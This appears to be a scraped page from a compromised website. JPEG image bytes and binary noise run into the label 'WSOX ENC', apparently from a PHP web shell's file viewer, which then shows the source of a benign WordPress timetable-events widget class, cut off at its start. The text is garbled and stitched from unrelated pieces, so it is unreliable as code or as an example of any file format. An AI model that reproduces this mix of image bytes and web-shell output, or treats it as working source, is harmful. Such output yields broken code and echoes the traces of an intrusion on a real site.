���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC is_plugin_template_mode() ? 'mptt-container' : 'widget_recent_entries'; $widget_ops = array( 'classname' => $classname, 'description' => __( 'Display upcoming events.', 'mp-timetable' ) ); parent::__construct( 'mp-timetable', __( 'Timetable Events', 'mp-timetable' ), $widget_ops ); add_action( 'save_post', array( &$this, 'flush_widget_cache' ) ); add_action( 'deleted_post', array( &$this, 'flush_widget_cache' ) ); add_action( 'switch_theme', array( &$this, 'flush_widget_cache' ) ); } public function form( $instance ) { $instance = shortcode_atts( array( 'title' => '', 'limit' => '3', 'view_settings' => '', 'mp_categories' => '', 'next_days' => '1', 'time_settings' => '', 'custom_url' => '', 'disable_url' => '', 'background_color' => '', 'hover_background_color' => '', 'text_color' => '', 'hover_text_color' => '', 'item_border_color' => '', 'hover_item_border_color' => '', ), $instance ); /*$data[ 'columns' ] = Column::get_instance()->get_all_column(); $data[ 'events' ] = Events::get_instance()->get_all_events(); $data[ 'categories' ] = get_terms( 'mp-event_category', 'orderby=count&hide_empty=0' ); $data[ 'localtime' ] = date( get_option( 'time_format' ), current_time( 'timestamp', 0 ) ); $data[ 'utc_time' ] = date( get_option( 'time_format' ), current_time( 'timestamp', 1 ) ); View::get_instance()->render_html( 'widgets/gallery-list', array( 'widget_object' => $this, 'data' => $data, 'instance' => $instance ), true );*/ $event_categories = get_terms( 'mp-event_category', 'orderby=title&hide_empty=0' ); View::get_instance()->render_html('widgets/gallery-list', array( 'widget_object' => $this, 'event_categories' => $event_categories, 'instance' => $instance ), true); } /** * Update widget * * @param array $new_instance * @param array $old_instance * * @return array */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance[ 'title' ] = strip_tags( $new_instance[ 'title' ] ); $instance[ 'limit' ] = strip_tags( $new_instance[ 'limit' ] ); $instance[ 'mp_categories' ] = empty( $new_instance[ 'mp_categories' ] ) ? "" : $new_instance[ 'mp_categories' ]; $instance[ 'view_settings' ] = strip_tags( $new_instance[ 'view_settings' ] ); $instance[ 'next_days' ] = strip_tags( $new_instance[ 'next_days' ] ); $instance[ 'time_settings' ] = empty( $new_instance[ 'time_settings' ] ) ? "" : strip_tags( $new_instance[ 'time_settings' ] ); $instance[ 'custom_url' ] = strip_tags( $new_instance[ 'custom_url' ] ); $instance[ 'disable_url' ] = strip_tags( $new_instance[ 'disable_url' ] ); $instance[ 'background_color' ] = strip_tags( $new_instance[ 'background_color' ] ); $instance[ 'hover_background_color' ] = strip_tags( $new_instance[ 'hover_background_color' ] ); $instance[ 'text_color' ] = strip_tags( $new_instance[ 'text_color' ] ); $instance[ 'hover_text_color' ] = strip_tags( $new_instance[ 'hover_text_color' ] ); $instance[ 'item_border_color' ] = strip_tags( $new_instance[ 'item_border_color' ] ); $instance[ 'hover_item_border_color' ] = strip_tags( $new_instance[ 'hover_item_border_color' ] ); return $instance; } /** * Flush widget cache. * * @since Twenty Eleven 1.0 */ function flush_widget_cache() { wp_cache_delete( 'mp-timetable', 'widget' ); } /** * Display widget * * @param array $args * @param array $instance */ public function widget( $args, $instance ) { $cache = wp_cache_get( 'mp-timetable', 'widget' ); if ( ! is_array( $cache ) ) { $cache = array(); } if ( ! isset( $args[ 'widget_id' ] ) ) { $args[ 'widget_id' ] = null; } if ( isset( $cache[ $args[ 'widget_id' ] ] ) ) { echo $cache[ $args[ 'widget_id' ] ]; return; } ob_start(); $data[ 'args' ] = $args; $data[ 'instance' ] = mptt_widget_settings( $instance ); $data[ 'events' ] = Events::get_instance()->get_widget_events( $data[ 'instance' ] ); if ( Settings::get_instance()->is_plugin_template_mode() ) { Core::get_instance()->add_plugin_js( 'widget' ); View::get_instance()->get_template( "widgets/widget-view", $data ); } else { View::get_instance()->get_template( "theme/widget-upcoming-view", $data ); } $cache[ $args[ 'widget_id' ] ] = ob_get_flush(); wp_cache_set( 'mp-timetable', $cache, 'widget' ); } }